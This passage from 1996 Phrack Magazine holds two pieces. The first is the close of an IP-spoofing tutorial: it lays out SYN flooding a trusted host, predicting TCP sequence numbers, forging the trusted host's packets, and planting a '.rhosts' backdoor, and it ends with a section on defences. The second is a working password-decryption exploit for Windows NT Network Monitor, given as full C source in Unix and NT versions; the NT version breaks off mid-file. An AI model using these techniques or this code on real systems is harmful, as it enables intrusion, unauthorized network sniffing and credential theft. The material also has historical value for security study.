address and source port and the destination IP address and destination
|
||
port. Servers are bound to 'well-known' ports so that they may be
|
||
located on a standard port on different systems. For example, the
|
||
rlogin daemon sits on TCP port 513.
|
||
|
||
|
||
[SECTION II. THE ATTACK]
|
||
|
||
|
||
...The devil finds work for idle hands....
|
||
|
||
|
||
--[ Briefly... ]--
|
||
|
||
|
||
IP-spoofing consists of several steps, which I will
|
||
briefly outline here, then explain in detail. First, the target host
|
||
is choosen. Next, a pattern of trust is discovered, along with a
|
||
trusted host. The trusted host is then disabled, and the target's TCP
|
||
sequence numbers are sampled. The trusted host is impersonated, the
|
||
sequence numbers guessed, and a connection attempt is made to a
|
||
service that only requires address-based authentication. If
|
||
successful, the attacker executes a simple command to leave a
|
||
backdoor.
|
||
|
||
|
||
--[ Needful Things ]--
|
||
|
||
|
||
There are a couple of things one needs to wage this attack:
|
||
|
||
(1) brain, mind, or other thinking device
|
||
(1) target host
|
||
(1) trusted host
|
||
(1) attacking host (with root access)
|
||
(1) IP-spoofing software
|
||
|
||
Generally the attack is made from the root account on the attacking
|
||
host against the root account on the target. If the attacker is
|
||
going to all this trouble, it would be stupid not to go for root.
|
||
(Since root access is needed to wage the attack, this should not
|
||
be an issue.)
|
||
|
||
|
||
--[ IP-Spoofing is a 'Blind Attack' ]--
|
||
|
||
|
||
One often overlooked, but critical factor in IP-spoofing
|
||
is the fact that the attack is blind. The attacker is going to be
|
||
taking over the identity of a trusted host in order to subvert the
|
||
security of the target host. The trusted host is disabled using the
|
||
method described below. As far as the target knows, it is carrying on
|
||
a conversation with a trusted pal. In reality, the attacker is
|
||
sitting off in some dark corner of the Internet, forging packets
|
||
puportedly from this trusted host while it is locked up in a denial
|
||
of service battle. The IP datagrams sent with the forged IP-address
|
||
reach the target fine (recall that IP is a connectionless-oriented
|
||
protocol-- each datagram is sent without regard for the other end)
|
||
but the datagrams the target sends back (destined for the trusted
|
||
host) end up in the bit-bucket. The attacker never sees them. The
|
||
intervening routers know where the datagrams are supposed to go. They
|
||
are supposed to go the trusted host. As far as the network layer is
|
||
concerned, this is where they originally came from, and this is where
|
||
responses should go. Of course once the datagrams are routed there,
|
||
and the information is demultiplexed up the protocol stack, and
|
||
reaches TCP, it is discarded (the trusted host's TCP cannot respond--
|
||
see below). So the attacker has to be smart and *know* what was sent,
|
||
and *know* what reponse the server is looking for. The attacker
|
||
cannot see what the target host sends, but she can *predict* what it
|
||
will send; that coupled with the knowledge of what it *will* send,
|
||
allows the attacker to work around this blindness.
|
||
|
||
|
||
--[ Patterns of Trust ]--
|
||
|
||
|
||
After a target is choosen the attacker must determine the
|
||
patterns of trust (for the sake of argument, we are going to assume
|
||
the target host *does* in fact trust somebody. If it didn't, the
|
||
attack would end here). Figuring out who a host trusts may or may
|
||
not be easy. A 'showmount -e' may show where filesystems are
|
||
exported, and rpcinfo can give out valuable information as well.
|
||
If enough background information is known about the host, it should
|
||
not be too difficult. If all else fails, trying neighboring IP
|
||
addresses in a brute force effort may be a viable option.
|
||
|
||
|
||
--[ Trusted Host Disabling Using the Flood of Sins ]--
|
||
|
||
|
||
Once the trusted host is found, it must be disabled. Since
|
||
the attacker is going to impersonate it, she must make sure this host
|
||
cannot receive any network traffic and foul things up. There are
|
||
many ways of doing this, the one I am going to discuss is TCP SYN
|
||
flooding.
|
||
A TCP connection is initiated with a client issuing a
|
||
request to a server with the SYN flag on in the TCP header. Normally
|
||
the server will issue a SYN/ACK back to the client identified by the
|
||
32-bit source address in the IP header. The client will then send an
|
||
ACK to the server (as we saw in figure 1 above) and data transfer
|
||
can commence. There is an upper limit of how many concurrent SYN
|
||
requests TCP can process for a given socket, however. This limit
|
||
is called the backlog, and it is the length of the queue where
|
||
incoming (as yet incomplete) connections are kept. This queue limit
|
||
applies to both the number of imcomplete connections (the 3-way
|
||
handshake is not complete) and the number of completed connections
|
||
that have not been pulled from the queue by the application by way of
|
||
the accept() system call. If this backlog limit is reached, TCP will
|
||
silently discard all incoming SYN requests until the pending
|
||
connections can be dealt with. Therein lies the attack.
|
||
The attacking host sends several SYN requests to the TCP port
|
||
she desires disabled. The attacking host also must make sure that
|
||
the source IP-address is spoofed to be that of another, currently
|
||
unreachable host (the target TCP will be sending it's response to
|
||
this address. (IP may inform TCP that the host is unreachable,
|
||
but TCP considers these errors to be transient and leaves the
|
||
resolution of them up to IP (reroute the packets, etc) effectively
|
||
ignoring them.) The IP-address must be unreachable because the
|
||
attacker does not want any host to recieve the SYN/ACKs that will be
|
||
coming from the target TCP (this would result in a RST being sent to
|
||
the target TCP, which would foil our attack). The process is as
|
||
follows:
|
||
|
||
fig(2)
|
||
|
||
1 Z(x) ---SYN---> B
|
||
|
||
Z(x) ---SYN---> B
|
||
|
||
Z(x) ---SYN---> B
|
||
|
||
Z(x) ---SYN---> B
|
||
|
||
Z(x) ---SYN---> B
|
||
|
||
...
|
||
|
||
2 X <---SYN/ACK--- B
|
||
|
||
X <---SYN/ACK--- B
|
||
|
||
...
|
||
|
||
3 X <---RST--- B
|
||
|
||
|
||
At (1) the attacking host sends a multitude of SYN requests to the
|
||
target (remember the target in this phase of the attack is the
|
||
trusted host) to fill it's backlog queue with pending connections.
|
||
(2) The target responds with SYN/ACKs to what it believes is the
|
||
source of the incoming SYNs. During this time all further requests
|
||
to this TCP port will be ignored.
|
||
Different TCP implementations have different backlog sizes.
|
||
BSD generally has a backlog of 5 (Linux has a backlog of 6). There
|
||
is also a 'grace' margin of 3/2. That is, TCP will allow up to
|
||
backlog*3/2+1 connections. This will allow a socket one connection
|
||
even if it calls listen with a backlog of 0.
|
||
|
||
AuthNote: [For a much more in-depth treatment of TCP SYN
|
||
flooding, see my definitive paper on the subject. It covers the
|
||
whole process in detail, in both theory, and practice. There is
|
||
robust working code, a statistical analysis, and a legnthy paper.
|
||
Look for it in issue 49 of Phrack. -daemon9 6/96]
|
||
|
||
|
||
--[ Sequence Number Sampling and Prediction ]--
|
||
|
||
|
||
Now the attacker needs to get an idea of where in the 32-bit
|
||
sequence number space the target's TCP is. The attacker connects to
|
||
a TCP port on the target (SMTP is a good choice) just prior to launching
|
||
the attack and completes the three-way handshake. The process is
|
||
exactly the same as fig(1), except that the attacker will save the
|
||
value of the ISN sent by the target host. Often times, this process is
|
||
repeated several times and the final ISN sent is stored. The attacker
|
||
needs to get an idea of what the RTT (round-trip time) from the target
|
||
to her host is like. (The process can be repeated several times, and an
|
||
average of the RTT's is calculated.) The RTT is necessary in being
|
||
able to accuratly predict the next ISN. The attacker has the baseline
|
||
(the last ISN sent) and knows how the sequence numbers are incremented
|
||
(128,000/second and 64,000 per connect) and now has a good idea of
|
||
how long it will take an IP datagram to travel across the Internet to
|
||
reach the target (approximately half the RTT, as most times the
|
||
routes are symmetrical). After the attacker has this information, she
|
||
immediately proceeds to the next phase of the attack (if another TCP
|
||
connection were to arrive on any port of the target before the
|
||
attacker was able to continue the attack, the ISN predicted by the
|
||
attacker would be off by 64,000 of what was predicted).
|
||
When the spoofed segment makes it's way to the target,
|
||
several different things may happen depending on the accuracy of
|
||
the attacker's prediction:
|
||
- If the sequence number is EXACTly where the receiving TCP expects
|
||
it to be, the incoming data will be placed on the next available
|
||
position in the receive buffer.
|
||
- If the sequence number is LESS than the expected value the data
|
||
byte is considered a retransmission, and is discarded.
|
||
- If the sequence number is GREATER than the expected value but
|
||
still within the bounds of the receive window, the data byte is
|
||
considered to be a future byte, and is held by TCP, pending the
|
||
arrival of the other missing bytes. If a segment arrives with a
|
||
sequence number GREATER than the expected value and NOT within the
|
||
bounds of the receive window the segment is dropped, and TCP will
|
||
send a segment back with the *expected* sequence number.
|
||
|
||
|
||
--[ Subversion... ]--
|
||
|
||
|
||
Here is where the main thrust of the attack begins:
|
||
|
||
fig(3)
|
||
|
||
1 Z(b) ---SYN---> A
|
||
|
||
2 B <---SYN/ACK--- A
|
||
|
||
3 Z(b) ---ACK---> A
|
||
|
||
4 Z(b) ---PSH---> A
|
||
|
||
[...]
|
||
|
||
|
||
The attacking host spoofs her IP address to be that of the trusted
|
||
host (which should still be in the death-throes of the D.O.S. attack)
|
||
and sends it's connection request to port 513 on the target (1). At
|
||
(2), the target responds to the spoofed connection request with a
|
||
SYN/ACK, which will make it's way to the trusted host (which, if it
|
||
*could* process the incoming TCP segment, it would consider it an
|
||
error, and immediately send a RST to the target). If everything goes
|
||
according to plan, the SYN/ACK will be dropped by the gagged trusted
|
||
host. After (1), the attacker must back off for a bit to give the
|
||
target ample time to send the SYN/ACK (the attacker cannot see this
|
||
segment). Then, at (3) the attacker sends an ACK to the target with
|
||
the predicted sequence number (plus one, because we're ACKing it).
|
||
If the attacker is correct in her prediction, the target will accept
|
||
the ACK. The target is compromised and data transfer can
|
||
commence (4).
|
||
Generally, after compromise, the attacker will insert a
|
||
backdoor into the system that will allow a simpler way of intrusion.
|
||
(Often a `cat + + >> ~/.rhosts` is done. This is a good idea for
|
||
several reasons: it is quick, allows for simple re-entry, and is not
|
||
interactive. Remember the attacker cannot see any traffic coming from
|
||
the target, so any reponses are sent off into oblivion.)
|
||
|
||
|
||
--[ Why it Works ]--
|
||
|
||
|
||
IP-Spoofing works because trusted services only rely on
|
||
network address based authentication. Since IP is easily duped,
|
||
address forgery is not difficult. The hardest part of the attck is
|
||
in the sequence number prediction, because that is where the guesswork
|
||
comes into play. Reduce unknowns and guesswork to a minimum, and
|
||
the attack has a better chance of suceeding. Even a machine that
|
||
wraps all it's incoming TCP bound connections with Wietse Venema's TCP
|
||
wrappers, is still vulnerable to the attack. TCP wrappers rely on a
|
||
hostname or an IP address for authentication...
|
||
|
||
|
||
[SECTION III. PREVENTITIVE MEASURES]
|
||
|
||
|
||
...A stich in time, saves nine...
|
||
|
||
|
||
--[ Be Un-trusting and Un-trustworthy ]--
|
||
|
||
|
||
One easy solution to prevent this attack is not to rely
|
||
on address-based authentication. Disable all the r* commands,
|
||
remove all .rhosts files and empty out the /etc/hosts.equiv file.
|
||
This will force all users to use other means of remote access
|
||
(telnet, ssh, skey, etc).
|
||
|
||
|
||
--[ Packet Filtering ]--
|
||
|
||
|
||
If your site has a direct connect to the Internet, you
|
||
can use your router to help you out. First make sure only hosts
|
||
on your internal LAN can particpate in trust-relationships (no
|
||
internal host should trust a host outside the LAN). Then simply
|
||
filter out *all* traffic from the outside (the Internet) that
|
||
puports to come from the inside (the LAN).
|
||
|
||
|
||
--[ Cryptographic Methods ]--
|
||
|
||
|
||
An obvious method to deter IP-spoofing is to require
|
||
all network traffic to be encrypted and/or authenticated. While
|
||
several solutions exist, it will be a while before such measures are
|
||
deployed as defacto standards.
|
||
|
||
|
||
--[ Initial Sequence Number Randomizing ]--
|
||
|
||
|
||
Since the sequence numbers are not choosen randomly (or
|
||
incremented randomly) this attack works. Bellovin describes a
|
||
fix for TCP that involves partitioning the sequence number space.
|
||
Each connection would have it's own seperate sequence number space.
|
||
The sequence numbers would still be incremented as before, however,
|
||
there would be no obvious or implied relationship between the
|
||
numbering in these spaces. Suggested is the following formula:
|
||
|
||
ISN=M+F(localhost,localport,remotehost,remoteport)
|
||
|
||
Where M is the 4 microsecond timer and F is a cryptographic hash.
|
||
F must not be computable from the outside or the attacker could
|
||
still guess sequence numbers. Bellovin suggests F be a hash of
|
||
the connection-id and a secret vector (a random number, or a host
|
||
related secret combined with the machine's boot time).
|
||
|
||
|
||
[SECTION IV. SOURCES]
|
||
|
||
|
||
-Books: TCP/IP Illustrated vols. I, II & III
|
||
-RFCs: 793, 1825, 1948
|
||
-People: Richard W. Stevens, and the users of the
|
||
Information Nexus for proofreading
|
||
-Sourcecode: rbone, mendax, SYNflood
|
||
|
||
|
||
This paper made possible by a grant from the Guild Corporation.
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 15 of 18
|
||
|
||
|
||
Windows NT Network Monitor Exploitation
|
||
|
||
NetMon Encryption Hammer
|
||
|
||
by the AON and Route
|
||
for Phrack Magazine
|
||
May 1996 Guild productions, kid
|
||
|
||
comments to daemon9@netcom.com
|
||
|
||
Full exploit including binary dll's and execuatables:
|
||
ftp.infonexus.com/pub/TooldOfTheTrade/Windows/NT/netMonExploit.tgz
|
||
|
||
|
||
[The intro]
|
||
|
||
The Microsoft Network Monitor is a packet sniffer that runs under NT.
|
||
It is a very robust and versatile packet sniffer, offering much more then
|
||
simple ethernet frame capturing. It packs a robust capture/display filter
|
||
language, powerful protocol parsers, and one snappy GUI. NetMon is
|
||
delivered as part of the SMS package. The user portion of the program
|
||
calls upon the services of the Network Monitor Agent, which is a kernel driver
|
||
that ships with NT (3.5.x for sure, but I don't know about 3.1). The Network
|
||
Monitor Agent also provides an interface for a remote machine to connect and
|
||
capture local data, provided it passes authentication. To restrict access,
|
||
Network Monitor Agent utilizes a password authentication scheme. Access has
|
||
two tiers: priviledge to view previously captured sessions, and priviledge to
|
||
actually use the sniffer to place the ethernet card in promiscuous mode. The
|
||
acutal encrypted password is stored as a 32-byte binary string in a
|
||
dynamically linked library file called BHSUPP.DLL. We have written code to
|
||
extract this password from the dll and decyrpt it; we have broken the
|
||
Microsoft Network Monitor password authentication system.
|
||
|
||
|
||
[The low-down]
|
||
|
||
The encrypted string is kept as binary data in:
|
||
%SystemRoot%\system32\BHSUPP.DLL (in a default installation at least).
|
||
BHSUPP.DLL is known to be different sizes between versions, so we cannot look
|
||
for the encrypted string at a specific offset each time. Instead we must
|
||
search for a flag, and seek 32-bytes past this flag. The flag is the 16-byte
|
||
string: "RTSS&G--BEGIN--". (As a matter of note, there is a terminating
|
||
footer also: "RTSS&G--END--".)
|
||
|
||
|
||
[The encrypted truth]
|
||
|
||
It is a simple encryption function, that takes random length string
|
||
and returns 256-bit encrypted output. It may appear to be a hash, rather
|
||
than a block cipher, but it is not. It does take a random length input,
|
||
and produce a fixed output, but the input is always padded to 32-bytes
|
||
(with nulls if necessary). The input to the function is a user defined
|
||
arbitrary string. The input is truncated to 16 bytes and then to pad
|
||
out the array, the whole original password string is concatenated on the
|
||
truncated version, starting at the 16th byte. It doesn't matter if the
|
||
resulting string is longer than 32 bytes, as the cipher ignores anything
|
||
past the 32nd byte. So: "loveKillsTheDemon" becomes: "loveKillsTheDemo"
|
||
and then: "loveKillsTheDemoloveKillsTheDemon". If your password is
|
||
smaller than 16 bytes, we get the 'hole-in-password' phenomena. Since
|
||
the array is intialized will nulls, and the password is still folded over to
|
||
the 16th byte, these nulls remain. This is easily visible from the first line
|
||
of output in our exploit code. It also accepts empty password strings
|
||
readily, without choking, which all Microsoft products seem willing to do all
|
||
to easily.
|
||
|
||
[The algorithm]
|
||
|
||
The 32-byte string is put through 32 rounds of identical operations.
|
||
The outer for loop controls the value of the byte to be XORed with the
|
||
entire array that round (except for itself, see below). The inner loop steps
|
||
through the entire byte array. Each byte is permuted a total of 31 times
|
||
(The discrepency comes from the test case where i must not be equal to j in
|
||
order for a character to be permuted. It would make no sense to XOR a byte
|
||
with itself). So, there are a total of 992 operations. The actual
|
||
encryption algorithm is quite simple:
|
||
|
||
In C: if(i!=j)mix[j]^=mix[i]+(i^j)+j;
|
||
|
||
In English: if i is NOT equal to j, the j indexed char of mix is
|
||
assigned the value of the j indexed char of mix XORed
|
||
with the i indexed char of mix PLUS i XORed with j
|
||
PLUS j.
|
||
|
||
Mathematically: 1) i ^ j = k
|
||
2) k + j = l
|
||
3) l + mix[i] = m
|
||
4) m ^ mix[j] = x
|
||
|
||
OR
|
||
|
||
((i ^ j) + j + mix[i]) ^ mix[j] = x
|
||
|
||
|
||
The methods used for obscurity are exclusive OR (XOR) and binary
|
||
addition, (see the appendix if you are umfamiliar with these bitwise
|
||
operations) with completely known vectors. The only unknown in the whole
|
||
equation is the user entered password, fleshed out to 32-bytes. These 32
|
||
bytes are taken through 32 rounds of permutations. Simple and concise,
|
||
with no key material dropped, this algorithm is not lossy. Since it is not
|
||
lossy it is 100% reversible, both in theory and practice. In fact, since we
|
||
know the values of the counters i and j, throughout the entire encryption
|
||
process, decryption is simply a matter of reproducing these values in the
|
||
proper order. Since the output of the encryption process is the input,
|
||
taken through 32 rounds of identical permutations, with known vectors,
|
||
we simply need to reverse this process.
|
||
|
||
[The code]
|
||
|
||
There are two versions of the exploit available. A Windows NT version
|
||
and, for those of you without access to an expensive NT-native compiler,
|
||
there is a Unix version as well. The NT version is a console-based app, as
|
||
GUI code would be a waste of time. The full package of this exploit, along
|
||
with an NT exexcutable and sample DLL's is available from:
|
||
ftp.infonexus.com/pub/ToolsOfTheTrade/Windows/NT/netMonExploit.tgz
|
||
|
||
|
||
[The discussion]
|
||
|
||
The ramifications of this weak encryption in Network Monitor Agent are
|
||
many. First off, the developers of Network Monitor Agent *didn't* use the
|
||
standard security mechanisms of Windows NT. This may be because the driver is
|
||
a kernel mode driver, and in NT the kernel is a trusted enity, therefore
|
||
the standard security API (of Win32) does not apply in the kernel making it
|
||
harder to do user authentication. It also appears that they were trying to
|
||
achieve a mechanism based not on priviledge, but on knowledge. It is very
|
||
likely that in secured environment not all administrators should be able to
|
||
sniff the network. The problem is they did a *poor* job of securing a
|
||
powerful utility.
|
||
The most straight forward attack is use Network Monitor to sniff the
|
||
network (where you weren't suppose to be able to) for priviledged user data or
|
||
passwords in a heterogeneous environment (since native NT networking does not
|
||
send password information in the clear, but standard TCP traffic from Unix
|
||
is sent clear). The rest of the attacks would come from shabby administration
|
||
, such as the administrator used the password for the admin account and the
|
||
capture password in Network Monitor Agent (stupid, but likely) or the
|
||
same password for Network Monitor Agent on all machines across the network.
|
||
In order to use the exploit utility, one must have read priviledge for
|
||
BHSUPP.DLL which is installed into %SystemRoot%\system32 by default. This
|
||
is not a remote attack, but rather a stepping stone to gain priviledged
|
||
information when one is under-priviledged.
|
||
|
||
[The moral]
|
||
|
||
Time and time again we see either shody implementations of trusted
|
||
algorithms, or, like in this case, just plain bad cryptography. Under ITAR,
|
||
most secure cryptographic algorithms are classified as munitions, and are not
|
||
exportable from this country. The funny thing is, under current law, one-way
|
||
hashing functions are *not* restricted (that is why all Unix variants can ship
|
||
with the standard crypt(3) libraries and executables). This authentication
|
||
scheme could have *easily* been replaced by MD5, the same one-way hash used
|
||
by PGP. At least then, the complexity of an attack would be increased to
|
||
a brute-force known-plaintext sweep of key values...
|
||
|
||
|
||
|
||
[The appendix]
|
||
|
||
For the binary-declined...
|
||
|
||
Exclusive OR
|
||
|
||
The XOR operation is a bitwise operation with the following truth table:
|
||
|
||
XOR| 1 | 0 | The Exclusive OR operation simply says:
|
||
------------- "...Hmmm, if I have a 1 and a 0, I'll spit
|
||
1 | 0 | 1 | out a 1. Anything else, a 0..."
|
||
-------------
|
||
0 | 1 | 0 |
|
||
|
||
|
||
Binary addition
|
||
|
||
Binary addition is analogous to base10 addition. However, each place holds
|
||
2^n instead of 10^n...
|
||
|
||
add| 1 | 0 | base10: base2:
|
||
------------- 11 1011
|
||
1 |1 0| 1 | + 5 + 0101
|
||
------------- --- ------
|
||
0 | 1 | 0 | 16 10000
|
||
|
||
|
||
|
||
|
||
This exploit made possbile by a grant from the Guild corporation.
|
||
|
||
- May 07, 1996 route/aon
|
||
|
||
|
||
[The Sourcecode]
|
||
[Unix Version]
|
||
|
||
/*
|
||
|
||
Network Monitor Exploitation code, Unix version
|
||
coded by daemon9
|
||
The Guild, 1996
|
||
|
||
*/
|
||
|
||
|
||
#include<string.h>
|
||
#include<stdio.h>
|
||
#include<fcntl.h>
|
||
|
||
#define fbufsize 8192
|
||
#define flag "RTSS&G--BEGIN--"
|
||
#define VERSION "Unix version\n"
|
||
#define BUFSIZE 48
|
||
#define DLLNAME "./BHSUPP.DLL"
|
||
|
||
int main()
|
||
{
|
||
char *swirl(char *,int);
|
||
char *recover(char *);
|
||
void hexonx(char *);
|
||
|
||
char werd[]={"\n\n\n\n.this code made possible by a grant from the Guild corporation.\n\0"};
|
||
char *plain,*tmp,*fname,*encrypted;
|
||
int c;
|
||
|
||
printf(werd);
|
||
printf("\nNetMon Password Decryption Engine ");
|
||
printf(VERSION);
|
||
printf("\t1.\t\tEncrypt a plaintext password from STDIN.\n");
|
||
printf("\t2.\t\tDecrypt a plaintext password from the dll.\n");
|
||
tmp=(char *)malloc(10); /* Can't switch getchar() as it locks the */
|
||
bzero(tmp,10); /* fucking stream and makes futher I/O buggy*/
|
||
switch(atoi(gets(tmp))){
|
||
case 1:
|
||
printf("Enter password to be encrypted (note echo is on, as it would be a moot point\nto turn it off)\n->");
|
||
plain=(char *)malloc(BUFSIZE);
|
||
bzero(plain,sizeof(BUFSIZE));
|
||
gets(plain);
|
||
hexonx(swirl(plain,0));
|
||
break;
|
||
case 2:
|
||
printf("Enter name and path of DLL [./BHSUPP.DLL]:");
|
||
fname=(char *)malloc(BUFSIZE);
|
||
bzero(fname,sizeof(BUFSIZE));
|
||
gets(fname);
|
||
if(fname[0]==0)strcpy(fname,DLLNAME);
|
||
if(!(encrypted=recover(fname))){
|
||
printf("Could not locate flag\n");
|
||
exit(1);
|
||
}
|
||
hexonx(swirl(encrypted,1));
|
||
break;
|
||
default:
|
||
printf("\nFine.\n");
|
||
exit(0);
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
/*
|
||
swirl is the encryption/decryption function. It takes an arbitrary length
|
||
string and, depending on the value of the mode variable, encrypts it or
|
||
decrypts it. It returns a pointer to the string.
|
||
*/
|
||
|
||
char *swirl(byteStr,mode)
|
||
char *byteStr;
|
||
int mode;
|
||
{
|
||
int i=0,j=0;
|
||
char *mix,roundAndround[32][32];
|
||
void hexonx(char *);
|
||
|
||
mix=(char *)malloc(sizeof(byteStr));
|
||
|
||
|
||
if(!mode){
|
||
memset(mix,0,32); /* set 32 bytes of memory to 0 */
|
||
strncpy(mix,byteStr,16); /* copy the first 16 bytes of the password into the mix*/
|
||
memcpy(&mix[16],byteStr,strlen(byteStr)); /* copy password into the 16th char of the mix; if mix and plain overlap, problems occur */
|
||
|
||
printf("Password upon entering encryption rounds:\n");
|
||
hexonx(mix);
|
||
printf("\n\nbeginning 32 rounds of 'encryption'\n");
|
||
for(i=0;i<32;i++)for(j=0;j<32;j++)if(i!=j){
|
||
mix[j]^=mix[i]+(i^j)+j; /* Sekret Enkripsion occurs here... */
|
||
memcpy(&roundAndround[i][0],mix,32); /* save a copy of each round */
|
||
}
|
||
printf("\nDo you wish to view the encryption process round by round?[y]");
|
||
switch(toupper(getchar())){
|
||
case 'N':
|
||
break;
|
||
case 'Y':
|
||
default:
|
||
for(i=0;i<32;i++){
|
||
printf("round %d:\n",i+1); /* print the rounds out in hex */
|
||
hexonx(&roundAndround[i][0]);
|
||
getc(stdin);
|
||
}
|
||
}
|
||
printf("\nEncrypted output:\n");
|
||
return(mix);
|
||
}
|
||
if(mode){
|
||
strncpy(mix,byteStr,32);
|
||
for(i=31;i>=0;i--)for(j=31;j>=0;j--)if(i!=j)mix[j]^=mix[i]+(i^j)+j;
|
||
mix[32]=0;
|
||
printf("\n\n\nThe plaintext is: %s\nIn hex:\n",mix);
|
||
return(mix);
|
||
}
|
||
}
|
||
|
||
/*
|
||
hexonx simply prints out 32 bytes of hexidecimal characters.
|
||
*/
|
||
|
||
void hexonx(byteStr)
|
||
char *byteStr;
|
||
{
|
||
int i=0;
|
||
for(;i<32;i++)printf("0x%x ",byteStr[i]);
|
||
printf("\n");
|
||
}
|
||
|
||
|
||
/*
|
||
recover attempts to read the encrypted string from the dll
|
||
*/
|
||
|
||
char *recover(fname)
|
||
char *fname;
|
||
{
|
||
|
||
char buffer[fbufsize],*pass;
|
||
int fd,i=0,j=0,demonFlag=0,offset,bufOffset=0;
|
||
|
||
if((fd=open(fname,O_RDONLY))<=0){
|
||
fprintf(stderr,"Cannot open %s\n",fname);
|
||
exit(1);
|
||
}
|
||
while(read(fd,buffer,8192)){
|
||
i=0;
|
||
while(i<fbufsize&&!demonFlag){
|
||
switch(buffer[i-4]){
|
||
case 'R':
|
||
if(buffer[i-3]=='T'&&buffer[i-2]=='S'&&buffer[i-1]=='S'&&buffer[i+1]=='G'&&buffer[i+2]=='-'&&buffer[i+3]=='-'&&buffer[i+4]=='B'&&buffer[i+5]=='E'&&buffer[i+6]=='G'&&buffer[i+7]=='I'&&buffer[i+8]=='N'&&buffer[i+9]=='-'&&buffer[i+10]=='-'){
|
||
demonFlag++;
|
||
bufOffset=i;
|
||
/* Password is 32 bytes past end of header */ offset=j-4;
|
||
printf("Encrypted Token Flag: '%s' located at offset 0x%x\n",flag,offset);
|
||
printf("Encrypted password should be located at offset 0x%x\n",offset+48);
|
||
}
|
||
break;
|
||
default:
|
||
}
|
||
i++;
|
||
j++;
|
||
}
|
||
if(demonFlag)break;
|
||
}
|
||
if(!offset)return(0);
|
||
pass=(char *)malloc(BUFSIZE);
|
||
bzero(pass,32);
|
||
memcpy(pass,&buffer[bufOffset-4+48],32);
|
||
|
||
printf("\nDo you wish to view the encrypted password?[y]");
|
||
switch(toupper(getchar())){
|
||
case 'N':
|
||
break;
|
||
case 'Y':
|
||
default:
|
||
hexonx(pass);
|
||
getc(stdin);
|
||
}
|
||
return(pass);
|
||
}
|
||
|
||
|
||
[The Sourcecode]
|
||
[NT Version]
|
||
|
||
|
||
|
||
// A Guild Production 1996 //
|
||
// Constructed by AON //
|
||
|
||
#define STRICT
|
||
#define MAX_FILE_SIZE 24576 //if BHSUPP.DLL grows, so must this
|
||
|
||
#include <windows.h>
|
||
#include <stdio.h>
|
||
|
||
void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword);
|
||
BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword);
|
||
void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile);
|
||
|
||
HANDLE g_hStdIn, g_hStdOut; //global declaration of StandardIN and OUT
|
||
|
||
|
||
// This is a console app. ReadFile and WriteFile used throughout so StdIN and StdOUT
|
||
// can be redirected.
|
||
|
||
void main(int argc, char* argv[])
|
||
{
|
||
HANDLE hTargetFile;
|
||
BYTE lpEncryptedPassword[32];
|
||
char lpszPlaintextPassword[17] = {0};
|
||
char lpszOutputBuffer[80];
|
||
char lpszTargetFile[MAX_PATH] = {0};
|
||
char lpszUsage[] = "\nUsage: NMCrack [path to BHSUPP.DLL including filename]\n";
|
||
LPTSTR lpszSystemDirectory = NULL;
|
||
UINT nCount, nCount2;
|
||
|
||
//set global handles
|
||
|
||
g_hStdIn = GetStdHandle(STD_INPUT_HANDLE);
|
||
g_hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||
|
||
//check for standard NT help switch
|
||
|
||
if(argc > 1 && argv[1][0] == '/' && argv[1][1] == '?')
|
||
{
|
||
//display usage info
|
||
|
||
WriteFile(g_hStdOut, lpszUsage, sizeof(lpszUsage), &nCount, NULL);
|
||
|
||
//exit with success
|
||
|
||
ExitProcess(0L);
|
||
}
|
||
|
||
//if path and file name not specified on commandline try system directory first, because
|
||
//BHSUPP.DLL is probably there
|
||
if(argc == 1)
|
||
{
|
||
//findout how long path is for mem alloc
|
||
nCount = GetSystemDirectory(lpszSystemDirectory, 0);
|
||
|
||
//do alloc of that size
|
||
lpszSystemDirectory = malloc(nCount);
|
||
|
||
if(lpszSystemDirectory == NULL)
|
||
{
|
||
WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n",
|
||
41, &nCount, NULL);
|
||
|
||
ExitProcess(1L);
|
||
}
|
||
|
||
//get system dir
|
||
GetSystemDirectory(lpszSystemDirectory, nCount);
|
||
|
||
//append file name to system directory
|
||
sprintf(lpszTargetFile, "%s\\bhsupp.dll", lpszSystemDirectory);
|
||
|
||
//release memory
|
||
free(lpszSystemDirectory);
|
||
}
|
||
|
||
else
|
||
{
|
||
//get the commandline input
|
||
strcpy(lpszTargetFile, argv[1]);
|
||
}
|
||
|
||
//try to open BHSUPP.DLL in the system dir or where the user instructed
|
||
hTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ |
|
||
FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
|
||
FILE_FLAG_SEQUENTIAL_SCAN, NULL);
|
||
|
||
//if not on the commandline or in the system dir ask user for path
|
||
if(hTargetFile == INVALID_HANDLE_VALUE && argc == 1)
|
||
{
|
||
GetTargetFileFromUser(&hTargetFile, lpszTargetFile);
|
||
}
|
||
|
||
//user gave bad path or they don't have read permission on the file
|
||
else if(hTargetFile == INVALID_HANDLE_VALUE)
|
||
{
|
||
//make error string because file open failed
|
||
nCount2 = sprintf(lpszOutputBuffer, "\nUnable to open %s\n", lpszTargetFile);
|
||
|
||
//write out
|
||
WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
|
||
|
||
//exit with failure
|
||
ExitProcess(1L);
|
||
}
|
||
|
||
//retrieve the encrypted password from BHSUPP.DLL
|
||
if(!GetEncryptedPassword(hTargetFile, lpEncryptedPassword))
|
||
{
|
||
WriteFile(g_hStdOut, "Unable to retrieve encrypted password\n",
|
||
39, &nCount, NULL);
|
||
|
||
ExitProcess(1L);
|
||
}
|
||
|
||
//cleanup handle
|
||
CloseHandle(hTargetFile);
|
||
|
||
//do the decryption here
|
||
DecryptPassword(lpEncryptedPassword, lpszPlaintextPassword);
|
||
|
||
//prepare for and print out results
|
||
nCount2 = sprintf(lpszOutputBuffer,
|
||
"\nThe Network Monitor Agent capture password is %s\n",
|
||
lpszPlaintextPassword);
|
||
|
||
WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
|
||
|
||
//close StandardIN and StandardOUT handles
|
||
CloseHandle(g_hStdIn);
|
||
|
||
CloseHandle(g_hStdOut);
|
||
|
||
//exit with success
|
||
ExitProcess(0L);
|
||
}
|
||
|
||
|
||
//Ah yeah, here it is.
|
||
